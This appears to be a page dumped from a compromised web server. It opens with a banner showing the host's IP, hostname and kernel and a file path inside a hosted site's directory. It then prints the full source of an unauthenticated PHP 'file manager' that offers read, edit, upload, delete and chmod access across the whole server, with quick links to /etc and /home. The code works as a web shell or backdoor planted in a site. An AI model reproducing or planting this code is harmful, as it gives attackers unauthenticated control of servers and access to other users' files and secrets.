uawdijnntqw1x1x1
IP : 216.73.216.39
Hostname : diefsweb003.fsit.ch
Kernel : Linux diefsweb003.fsit.ch 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
wirbesti
/
nousdecidons.ch
/
472b8
/
..
/
0fdb7
/
980262
/
index.php
/
/
<?php /** * Simple PHP File Manager * Single file manager with full server access * Version 3.0 - Full directory access + English */ // Security: Set timezone date_default_timezone_set('UTC'); // Start session for flash messages if (session_status() === PHP_SESSION_NONE) { session_start(); } // Configuration $config = [ 'show_hidden_files' => false, 'date_format' => 'Y-m-d H:i:s', 'max_upload_size' => 100 * 1024 * 1024, // 100MB 'allowed_extensions' => '*', 'readonly' => false, 'root_path' => '/' // Allow access to entire server ]; // Get current directory - allow going beyond document root $current_path = isset($_GET['path']) ? $_GET['path'] : getcwd(); // Clean and resolve path $current_path = str_replace('\\', '/', $current_path); $current_path = rtrim($current_path, '/'); // For security, prevent null bytes and directory traversal tricks if (strpos($current_path, "\0") !== false || strpos($current_path, '..') !== false) { $current_path = getcwd(); } // Resolve to absolute path $real_path = realpath($current_path); if ($real_path === false || !is_dir($real_path)) { $current_path = getcwd(); } else { $current_path = $real_path; } $current_path = str_replace('\\', '/', $current_path); $server_root = '/'; // Allow full server access // AJAX handler for reading file content if (isset($_GET['ajax']) && $_GET['ajax'] === 'read_file' && isset($_GET['file'])) { header('Content-Type: text/plain; charset=utf-8'); $file_path = $_GET['file']; // Security check $real_file_path = realpath($file_path); if ($real_file_path === false || !is_file($real_file_path)) { http_response_code(404); die('ERROR: File not found'); } if (!is_readable($real_file_path)) { http_response_code(403); die('ERROR: File is not readable'); } // Check if file is text $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $real_file_path); finfo_close($finfo); // Only allow text files to be edited $text_types = ['text/', 'application/json', 'application/xml', 'application/javascript', 'application/x-httpd-php']; $is_text = false; foreach ($text_types as $type) { if (strpos($mime_type, $type) === 0) { $is_text = true; break; } } if (!$is_text && pathinfo($real_file_path, PATHINFO_EXTENSION) !== '') { // If it has extension but not in text types, check by extension $text_extensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'sh', 'bat', 'py', 'rb', 'java', 'c', 'cpp', 'h', 'yml', 'yaml', 'env', 'htaccess']; $ext = strtolower(pathinfo($real_file_path, PATHINFO_EXTENSION)); if (!in_array($ext, $text_extensions)) { die('ERROR: This is not a text file and cannot be edited'); } } $content = file_get_contents($real_file_path); if ($content === false) { http_response_code(500); die('ERROR: Failed to read file'); } echo $content; exit; } // Handle POST actions $message = ''; $message_type = 'success'; if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$config['readonly']) { $action = isset($_POST['action']) ? $_POST['action'] : ''; try { switch ($action) { case 'create_file': $filename = basename($_POST['filename']); if (empty($filename)) throw new Exception('File name cannot be empty'); $filepath = $current_path . '/' . $filename; if (file_exists($filepath)) throw new Exception('File already exists'); if (file_put_contents($filepath, $_POST['content'] ?? '') === false) { throw new Exception('Failed to create file'); } $message = 'File created successfully'; break; case 'create_folder': $foldername = basename($_POST['foldername']); if (empty($foldername)) throw new Exception('Folder name cannot be empty'); $folderpath = $current_path . '/' . $foldername; if (file_exists($folderpath)) throw new Exception('Folder already exists'); if (!mkdir($folderpath, 0755)) { throw new Exception('Failed to create folder'); } $message = 'Folder created successfully'; break; case 'edit_file': $filepath = $_POST['filepath']; $real_path = realpath($filepath); if ($real_path === false || !file_exists($real_path)) throw new Exception('File not found'); if (!is_writable($real_path)) throw new Exception('File is not writable'); if (file_put_contents($real_path, $_POST['content']) === false) { throw new Exception('Failed to save file'); } $message = 'File saved successfully'; break; case 'delete': $target = $_POST['target']; $real_target = realpath($target); if ($real_target === false || !file_exists($real_target)) throw new Exception('Target not found'); if (is_dir($real_target)) { if (!removeDirectory($real_target)) throw new Exception('Failed to delete folder'); } else { if (!unlink($real_target)) throw new Exception('Failed to delete file'); } $message = 'Deleted successfully'; break; case 'rename': $oldname = $_POST['oldname']; $newname = basename($_POST['newname']); $real_oldname = realpath($oldname); if ($real_oldname === false || !file_exists($real_oldname)) throw new Exception('File/folder not found'); if (empty($newname)) throw new Exception('New name cannot be empty'); $newpath = dirname($real_oldname) . '/' . $newname; if (file_exists($newpath)) throw new Exception('Name already in use'); if (!rename($real_oldname, $newpath)) throw new Exception('Failed to rename'); $message = 'Renamed successfully'; if (is_dir($newpath) && $real_oldname === $current_path) { $current_path = $newpath; } break; case 'upload': if (!isset($_FILES['files'])) throw new Exception('No files uploaded'); $upload_count = 0; $errors = []; foreach ($_FILES['files']['tmp_name'] as $key => $tmp_name) { if ($_FILES['files']['error'][$key] !== UPLOAD_ERR_OK) { $errors[] = $_FILES['files']['name'][$key] . ': Upload error (code: ' . $_FILES['files']['error'][$key] . ')'; continue; } $filename = basename($_FILES['files']['name'][$key]); $destination = $current_path . '/' . $filename; if ($config['allowed_extensions'] !== '*') { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($ext, $config['allowed_extensions'])) { $errors[] = $filename . ': Extension not allowed'; continue; } } if ($_FILES['files']['size'][$key] > $config['max_upload_size']) { $errors[] = $filename . ': File size too large'; continue; } if (move_uploaded_file($tmp_name, $destination)) { $upload_count++; } else { $errors[] = $filename . ': Failed to move file'; } } $message = "$upload_count file(s) uploaded successfully"; if (!empty($errors)) { $message .= "\nErrors: " . implode(", ", $errors); $message_type = 'error'; } break; case 'chmod': $target = $_POST['target']; $mode = $_POST['mode']; $real_target = realpath($target); if ($real_target === false || !file_exists($real_target)) throw new Exception('Target not found'); $mode = octdec($mode); if (!chmod($real_target, $mode)) throw new Exception('Failed to change permission'); $message = 'Permission changed successfully'; break; } } catch (Exception $e) { $message = $e->getMessage(); $message_type = 'error'; } } // Helper function to recursively remove directory function removeDirectory($dir) { if (!is_dir($dir)) return false; $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $dir . '/' . $item; if (is_dir($path)) { if (!removeDirectory($path)) return false; } else { if (!unlink($path)) return false; } } return rmdir($dir); } // Helper function to format file size function formatFileSize($bytes) { if ($bytes === 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i]; } // Helper function to get file icon function getFileIcon($item, $is_dir) { if ($is_dir) return '📁'; $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'htm' => '🌐', 'css' => '🎨', 'js' => '📜', 'json' => '📋', 'xml' => '📰', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'svg' => '🖼️', 'pdf' => '📕', 'doc' => '📄', 'docx' => '📄', 'txt' => '📝', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mov' => '🎬', 'sql' => '💾', 'md' => '📖', 'log' => '📊', ]; return $icons[$ext] ?? '📄'; } // Get directory contents $items = []; if (is_dir($current_path)) { $scan = scandir($current_path); foreach ($scan as $item) { if ($item === '.') continue; // Only hide '..' if we're at the root '/' if ($item === '..' && $current_path === '/') continue; if (!$config['show_hidden_files'] && $item[0] === '.') continue; $full_path = $current_path . '/' . $item; $is_dir = is_dir($full_path); $items[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => $is_dir, 'size' => $is_dir ? '-' : formatFileSize(filesize($full_path)), 'modified' => date($config['date_format'], filemtime($full_path)), 'permissions' => substr(sprintf('%o', fileperms($full_path)), -4), 'icon' => getFileIcon($item, $is_dir), 'writable' => is_writable($full_path) ]; } } // Sort: directories first, then alphabetical usort($items, function($a, $b) { if ($a['is_dir'] !== $b['is_dir']) { return $a['is_dir'] ? -1 : 1; } return strcasecmp($a['name'], $b['name']); }); // Get parent path - allow going all the way to root $parent_path = dirname($current_path); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - <?php echo htmlspecialchars($current_path); ?></title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; background: #f0f2f5; color: #333; line-height: 1.6; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px 25px; border-radius: 12px; margin-bottom: 20px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); } .header h1 { font-size: 26px; margin-bottom: 12px; display: flex; align-items: center; gap: 10px; } .breadcrumb { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; padding: 8px 0; } .breadcrumb a { color: white; text-decoration: none; padding: 6px 12px; background: rgba(255,255,255,0.2); border-radius: 6px; transition: all 0.3s; font-size: 13px; } .breadcrumb a:hover { background: rgba(255,255,255,0.4); transform: translateY(-1px); } .breadcrumb span { color: rgba(255,255,255,0.7); font-weight: bold; } .message { padding: 15px; border-radius: 8px; margin-bottom: 20px; font-weight: 500; white-space: pre-line; } .message.success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .message.error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .toolbar { display: flex; gap: 10px; margin-bottom: 20px; flex-wrap: wrap; align-items: center; background: white; padding: 15px; border-radius: 10px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); } .btn { padding: 10px 18px; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: all 0.3s; text-decoration: none; display: inline-flex; align-items: center; gap: 6px; } .btn:hover { transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0,0,0,0.15); } .btn-primary { background: #007bff; color: white; } .btn-primary:hover { background: #0056b3; } .btn-success { background: #28a745; color: white; } .btn-success:hover { background: #218838; } .btn-danger { background: #dc3545; color: white; } .btn-danger:hover { background: #c82333; } .btn-warning { background: #ffc107; color: #333; } .btn-warning:hover { background: #e0a800; } .btn-info { background: #17a2b8; color: white; } .btn-info:hover { background: #138496; } .btn-sm { padding: 5px 10px; font-size: 12px; } .btn-xs { padding: 4px 8px; font-size: 11px; } .file-table { background: white; border-radius: 10px; overflow: hidden; box-shadow: 0 2px 8px rgba(0,0,0,0.05); } .file-table table { width: 100%; border-collapse: collapse; } .file-table th { background: #f8f9fa; padding: 14px; text-align: left; font-weight: 600; font-size: 13px; color: #495057; border-bottom: 2px solid #dee2e6; text-transform: uppercase; letter-spacing: 0.5px; } .file-table td { padding: 12px 14px; border-bottom: 1px solid #e9ecef; font-size: 14px; } .file-table tbody tr:hover { background: #f8f9ff; } .file-table .item-name { display: flex; align-items: center; gap: 10px; } .file-table .item-name .icon { font-size: 22px; width: 30px; text-align: center; } .file-table .item-name a { color: #333; text-decoration: none; font-weight: 500; } .file-table .item-name a:hover { color: #007bff; } .actions { display: flex; gap: 5px; flex-wrap: wrap; } .badge { padding: 4px 10px; border-radius: 12px; font-size: 11px; font-weight: 600; display: inline-block; } .badge-dir { background: #e3f2fd; color: #1976d2; } .badge-file { background: #f3e5f5; color: #7b1fa2; } .badge-writable { background: #d4edda; color: #155724; } .badge-readonly { background: #fff3cd; color: #856404; } .path-info { background: white; padding: 12px 15px; border-radius: 8px; font-family: 'Courier New', monospace; font-size: 13px; margin-bottom: 15px; box-shadow: 0 2px 4px rgba(0,0,0,0.05); color: #495057; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 10px; } .quick-links { display: flex; gap: 8px; flex-wrap: wrap; } .quick-link { padding: 4px 10px; background: #e9ecef; border-radius: 4px; font-size: 12px; color: #495057; text-decoration: none; transition: all 0.3s; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; } .quick-link:hover { background: #007bff; color: white; } /* Modal Styles */ .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.6); z-index: 1000; justify-content: center; align-items: center; backdrop-filter: blur(3px); } .modal.active { display: flex; } .modal-content { background: white; border-radius: 12px; padding: 30px; width: 90%; max-width: 600px; max-height: 85vh; overflow-y: auto; box-shadow: 0 20px 60px rgba(0,0,0,0.3); animation: slideIn 0.3s ease; } @keyframes slideIn { from { transform: translateY(-50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-content.large { max-width: 1000px; } .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 25px; padding-bottom: 15px; border-bottom: 2px solid #e9ecef; } .modal-header h2 { font-size: 22px; color: #333; margin: 0; } .close-btn { background: none; border: none; font-size: 30px; cursor: pointer; color: #999; transition: all 0.3s; width: 35px; height: 35px; display: flex; align-items: center; justify-content: center; border-radius: 50%; } .close-btn:hover { color: #333; background: #f0f0f0; } .form-group { margin-bottom: 20px; } .form-group label { display: block; margin-bottom: 8px; font-weight: 600; color: #495057; font-size: 14px; } .form-group input[type="text"], .form-group input[type="number"], .form-group textarea, .form-group select { width: 100%; padding: 12px; border: 2px solid #e0e0e0; border-radius: 8px; font-size: 14px; transition: all 0.3s; font-family: inherit; } .form-group input:focus, .form-group textarea:focus { outline: none; border-color: #007bff; box-shadow: 0 0 0 3px rgba(0,123,255,0.1); } .form-group textarea { resize: vertical; min-height: 200px; font-family: 'Courier New', 'Consolas', monospace; font-size: 13px; line-height: 1.5; } .form-group textarea.code-editor { min-height: 500px; background: #1e1e1e; color: #d4d4d4; padding: 15px; border-radius: 8px; tab-size: 4; } .upload-area { border: 3px dashed #b0b0b0; border-radius: 12px; padding: 50px; text-align: center; transition: all 0.3s; cursor: pointer; background: #fafafa; } .upload-area:hover, .upload-area.dragover { border-color: #007bff; background: #f0f7ff; } .upload-area input[type="file"] { display: none; } .upload-icon { font-size: 60px; margin-bottom: 15px; } .file-info { background: #f8f9fa; padding: 12px; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 13px; word-break: break-all; color: #495057; margin-bottom: 15px; } .loading { display: none; text-align: center; padding: 20px; color: #007bff; } .loading.active { display: block; } @media (max-width: 768px) { .file-table { overflow-x: auto; } .file-table table { min-width: 700px; } .toolbar { flex-direction: column; } .btn { width: 100%; justify-content: center; } .modal-content { width: 95%; padding: 20px; margin: 10px; } .path-info { flex-direction: column; align-items: flex-start; } } </style> </head> <body> <div class="container"> <!-- Header --> <div class="header"> <h1>📁 File Manager</h1> <div class="breadcrumb"> <a href="?path=/">🏠 Server Root</a> <?php // Build breadcrumb from root $path_parts = explode('/', trim($current_path, '/')); $built_path = ''; foreach ($path_parts as $part) { if ($part === '') continue; $built_path .= '/' . $part; ?> <span>›</span> <a href="?path=<?php echo urlencode($built_path); ?>"><?php echo htmlspecialchars($part); ?></a> <?php } ?> </div> </div> <!-- Message --> <?php if ($message): ?> <div class="message <?php echo $message_type; ?>"> <?php echo htmlspecialchars($message); ?> </div> <?php endif; ?> <!-- Toolbar --> <div class="toolbar"> <button class="btn btn-primary" onclick="openModal('uploadModal')"> 📤 Upload Files </button> <button class="btn btn-success" onclick="openModal('createFileModal')"> 📄 New File </button> <button class="btn btn-success" onclick="openModal('createFolderModal')"> 📁 New Folder </button> <button class="btn btn-info" onclick="location.reload()"> 🔄 Refresh </button> <?php if ($current_path !== '/'): ?> <a href="?path=<?php echo urlencode($parent_path); ?>" class="btn btn-primary"> ⬆️ Parent Directory </a> <?php endif; ?> </div> <!-- Path Info with Quick Links --> <div class="path-info"> <span>📍 <strong><?php echo htmlspecialchars($current_path); ?></strong></span> <span style="color: <?php echo is_writable($current_path) ? '#28a745' : '#dc3545'; ?>; font-weight: 600;"> <?php echo is_writable($current_path) ? '✓ Writable' : '✗ Read-only'; ?> </span> </div> <!-- Quick Navigation Links --> <div style="margin-bottom: 15px; padding: 12px; background: white; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.05);"> <strong style="font-size: 12px; color: #666; text-transform: uppercase; letter-spacing: 0.5px;">Quick Access:</strong> <div style="margin-top: 8px; display: flex; gap: 8px; flex-wrap: wrap;"> <a href="?path=/" class="quick-link">🏠 Root (/)</a> <a href="?path=/home" class="quick-link">👤 /home</a> <a href="?path=/var/www" class="quick-link">🌐 /var/www</a> <a href="?path=/etc" class="quick-link">⚙️ /etc</a> <a href="?path=/tmp" class="quick-link">🗑️ /tmp</a> <?php if (isset($_SERVER['DOCUMENT_ROOT'])): ?> <a href="?path=<?php echo urlencode($_SERVER['DOCUMENT_ROOT']); ?>" class="quick-link"> 🌍 Current Domain Root </a> <?php endif; ?> <a href="?path=<?php echo urlencode(getcwd()); ?>" class="quick-link">📂 Script Location</a> </div> </div> <!-- File Table --> <div class="file-table"> <table> <thead> <tr> <th>Name</th> <th>Type</th> <th>Size</th> <th>Permissions</th> <th>Last Modified</th> <th>Actions</th> </tr> </thead> <tbody> <?php if (empty($items)): ?> <tr> <td colspan="6" style="text-align: center; padding: 50px; color: #999;"> <div style="font-size: 48px; margin-bottom: 10px;">📭</div> <div>This directory is empty</div> </td> </tr> <?php else: ?> <?php foreach ($items as $item): ?> <tr> <td> <div class="item-name"> <span class="icon"><?php echo $item['icon']; ?></span> <?php if ($item['is_dir']): ?> <a href="?path=<?php echo urlencode($item['path']); ?>"> <strong><?php echo htmlspecialchars($item['name']); ?></strong> </a> <?php else: ?> <span><?php echo htmlspecialchars($item['name']); ?></span> <?php endif; ?> </div> </td> <td> <span class="badge <?php echo $item['is_dir'] ? 'badge-dir' : 'badge-file'; ?>"> <?php echo $item['is_dir'] ? 'Folder' : (strtoupper(pathinfo($item['name'], PATHINFO_EXTENSION)) ?: 'File'); ?> </span> </td> <td><?php echo $item['size']; ?></td> <td> <span class="badge <?php echo $item['writable'] ? 'badge-writable' : 'badge-readonly'; ?>"> <?php echo $item['permissions']; ?> </span> </td> <td style="font-size: 13px;"><?php echo $item['modified']; ?></td> <td> <div class="actions"> <?php if (!$item['is_dir']): ?> <button class="btn btn-primary btn-xs" onclick="editFile('<?php echo htmlspecialchars($item['path'], ENT_QUOTES); ?>')" title="Edit file"> ✏️ Edit </button> <?php endif; ?> <button class="btn btn-warning btn-xs" onclick="renameItem('<?php echo htmlspecialchars($item['path'], ENT_QUOTES); ?>', '<?php echo htmlspecialchars($item['name'], ENT_QUOTES); ?>')" title="Rename"> 🔄 Rename </button> <?php if (!$config['readonly']): ?> <button class="btn btn-info btn-xs" onclick="changePermission('<?php echo htmlspecialchars($item['path'], ENT_QUOTES); ?>', '<?php echo $item['permissions']; ?>')" title="Change permissions"> 🔒 Chmod </button> <?php endif; ?> <form method="POST" style="display: inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['is_dir'] ? 'folder' : 'file'; ?>?\n\n<?php echo htmlspecialchars($item['name']); ?>\n\nThis action cannot be undone!')"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target" value="<?php echo htmlspecialchars($item['path']); ?>"> <button type="submit" class="btn btn-danger btn-xs" title="Delete"> 🗑️ Delete </button> </form> </div> </td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> <!-- Upload Modal --> <div id="uploadModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <h2>📤 Upload Files</h2> <button class="close-btn" onclick="closeModal('uploadModal')">×</button> </div> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <div class="upload-area" id="dropZone"> <div class="upload-icon">📁</div> <h3>Drag & Drop Files Here</h3> <p style="color: #666; margin-top: 5px;">or click to select files</p> <p style="font-size: 12px; color: #999; margin-top: 10px;"> Maximum size: <?php echo formatFileSize($config['max_upload_size']); ?> </p> <input type="file" name="files[]" multiple id="fileInput"> </div> <div id="fileList" style="margin-top: 15px;"></div> <button type="submit" class="btn btn-success" style="margin-top: 15px; width: 100%; padding: 12px;"> 📤 Upload Files </button> </form> </div> </div> <!-- Create File Modal --> <div id="createFileModal" class="modal"> <div class="modal-content large"> <div class="modal-header"> <h2>📄 Create New File</h2> <button class="close-btn" onclick="closeModal('createFileModal')">×</button> </div> <form method="POST"> <input type="hidden" name="action" value="create_file"> <div class="form-group"> <label>File Name:</label> <input type="text" name="filename" placeholder="e.g., index.html, script.js, style.css" required autofocus> </div> <div class="form-group"> <label>Initial Content (optional):</label> <textarea name="content" class="code-editor" placeholder="Write initial file content here..."></textarea> </div> <button type="submit" class="btn btn-success" style="width: 100%; padding: 12px;"> 💾 Create File </button> </form> </div> </div> <!-- Create Folder Modal --> <div id="createFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <h2>📁 Create New Folder</h2> <button class="close-btn" onclick="closeModal('createFolderModal')">×</button> </div> <form method="POST"> <input type="hidden" name="action" value="create_folder"> <div class="form-group"> <label>Folder Name:</label> <input type="text" name="foldername" placeholder="e.g., images, css, js" required autofocus> </div> <button type="submit" class="btn btn-success" style="width: 100%; padding: 12px;"> 📁 Create Folder </button> </form> </div> </div> <!-- Edit File Modal --> <div id="editFileModal" class="modal"> <div class="modal-content large"> <div class="modal-header"> <h2>✏️ Edit File</h2> <button class="close-btn" onclick="closeModal('editFileModal')">×</button> </div> <form method="POST" id="editForm"> <input type="hidden" name="action" value="edit_file"> <input type="hidden" name="filepath" id="edit_filepath"> <div class="file-info" id="edit_filename"></div> <div class="form-group"> <label>File Content:</label> <textarea name="content" id="edit_content" class="code-editor" placeholder="Loading..."></textarea> </div> <div class="loading" id="editLoading"> ⏳ Loading file content... </div> <button type="submit" class="btn btn-primary" style="width: 100%; padding: 12px;" id="saveBtn"> 💾 Save Changes </button> </form> </div> </div> <!-- Rename Modal --> <div id="renameModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <h2>🔄 Rename</h2> <button class="close-btn" onclick="closeModal('renameModal')">×</button> </div> <form method="POST"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="oldname" id="rename_oldname"> <div class="form-group"> <label>Current Name:</label> <div class="file-info" id="rename_current"></div> </div> <div class="form-group"> <label>New Name:</label> <input type="text" name="newname" id="rename_newname" required autofocus> </div> <button type="submit" class="btn btn-primary" style="width: 100%; padding: 12px;"> ✅ Rename </button> </form> </div> </div> <!-- Chmod Modal --> <div id="chmodModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <h2>🔒 Change Permissions</h2> <button class="close-btn" onclick="closeModal('chmodModal')">×</button> </div> <form method="POST"> <input type="hidden" name="action" value="chmod"> <input type="hidden" name="target" id="chmod_target"> <div class="form-group"> <label>Target:</label> <div class="file-info" id="chmod_filename"></div> </div> <div class="form-group"> <label>Permission (format: 0755, 0644, etc.):</label> <input type="text" name="mode" id="chmod_mode" pattern="[0-7]{3,4}" required autofocus> <small style="color: #666; display: block; margin-top: 5px;"> <strong>Common examples:</strong><br> 0755 - Folder (rwxr-xr-x)<br> 0644 - File (rw-r--r--)<br> 0777 - Full access (not recommended) </small> </div> <button type="submit" class="btn btn-info" style="width: 100%; padding: 12px;"> ✅ Apply Permissions </button> </form> </div> </div> <script> // Modal functions function openModal(id) { document.getElementById(id).classList.add('active'); document.body.style.overflow = 'hidden'; } function closeModal(id) { document.getElementById(id).classList.remove('active'); document.body.style.overflow = 'auto'; } // Close modal when clicking outside window.onclick = function(event) { if (event.target.classList.contains('modal')) { event.target.classList.remove('active'); document.body.style.overflow = 'auto'; } } // Close modal with Escape key document.addEventListener('keydown', function(event) { if (event.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(modal => { modal.classList.remove('active'); }); document.body.style.overflow = 'auto'; } }); // Edit file function function editFile(filepath) { // Reset form document.getElementById('edit_content').value = ''; document.getElementById('edit_filepath').value = filepath; document.getElementById('edit_filename').textContent = '📄 ' + filepath; // Show modal and loading openModal('editFileModal'); document.getElementById('editLoading').classList.add('active'); document.getElementById('edit_content').style.display = 'none'; document.getElementById('saveBtn').disabled = true; // Fetch file content via AJAX fetch('?ajax=read_file&file=' + encodeURIComponent(filepath)) .then(response => { if (!response.ok) { throw new Error('HTTP Error: ' + response.status); } return response.text(); }) .then(content => { // Check for error message if (content.startsWith('ERROR:')) { throw new Error(content.substring(6)); } // Success - populate editor document.getElementById('edit_content').value = content; document.getElementById('edit_content').style.display = 'block'; document.getElementById('editLoading').classList.remove('active'); document.getElementById('saveBtn').disabled = false; // Focus on textarea document.getElementById('edit_content').focus(); }) .catch(error => { alert('Failed to read file: ' + error.message); closeModal('editFileModal'); }); } // Rename function function renameItem(oldpath, oldname) { document.getElementById('rename_oldname').value = oldpath; document.getElementById('rename_current').textContent = '📄 ' + oldname; document.getElementById('rename_newname').value = oldname; document.getElementById('rename_newname').focus(); openModal('renameModal'); } // Change permission function function changePermission(target, currentPerm) { document.getElementById('chmod_target').value = target; document.getElementById('chmod_filename').textContent = '🔒 ' + target; document.getElementById('chmod_mode').value = currentPerm; openModal('chmodModal'); } // File upload with drag & drop const dropZone = document.getElementById('dropZone'); const fileInput = document.getElementById('fileInput'); const fileList = document.getElementById('fileList'); if (dropZone) { dropZone.addEventListener('click', (e) => { if (e.target !== fileInput) { fileInput.click(); } }); dropZone.addEventListener('dragover', (e) => { e.preventDefault(); dropZone.classList.add('dragover'); }); dropZone.addEventListener('dragleave', () => { dropZone.classList.remove('dragover'); }); dropZone.addEventListener('drop', (e) => { e.preventDefault(); dropZone.classList.remove('dragover'); fileInput.files = e.dataTransfer.files; updateFileList(); }); } if (fileInput) { fileInput.addEventListener('change', updateFileList); } function updateFileList() { fileList.innerHTML = ''; const files = fileInput.files; if (files.length === 0) return; const header = document.createElement('div'); header.style.cssText = 'font-weight: bold; margin-bottom: 10px; color: #495057;'; header.textContent = `📋 ${files.length} file(s) selected:`; fileList.appendChild(header); for (let i = 0; i < files.length; i++) { const file = files[i]; const div = document.createElement('div'); div.style.cssText = 'padding: 8px 12px; background: #f8f9fa; margin: 4px 0; border-radius: 5px; display: flex; justify-content: space-between; align-items: center; font-size: 13px;'; div.innerHTML = ` <span>📄 ${file.name}</span> <span style="color: #666;">${formatSize(file.size)}</span> `; fileList.appendChild(div); } } function formatSize(bytes) { if (bytes === 0) return '0 B'; const units = ['B', 'KB', 'MB', 'GB', 'TB']; const i = Math.floor(Math.log(bytes) / Math.log(1024)); return (bytes / Math.pow(1024, i)).toFixed(2) + ' ' + units[i]; } </script> </body> </html>
/home/wirbesti/nousdecidons.ch/472b8/../0fdb7/980262/index.php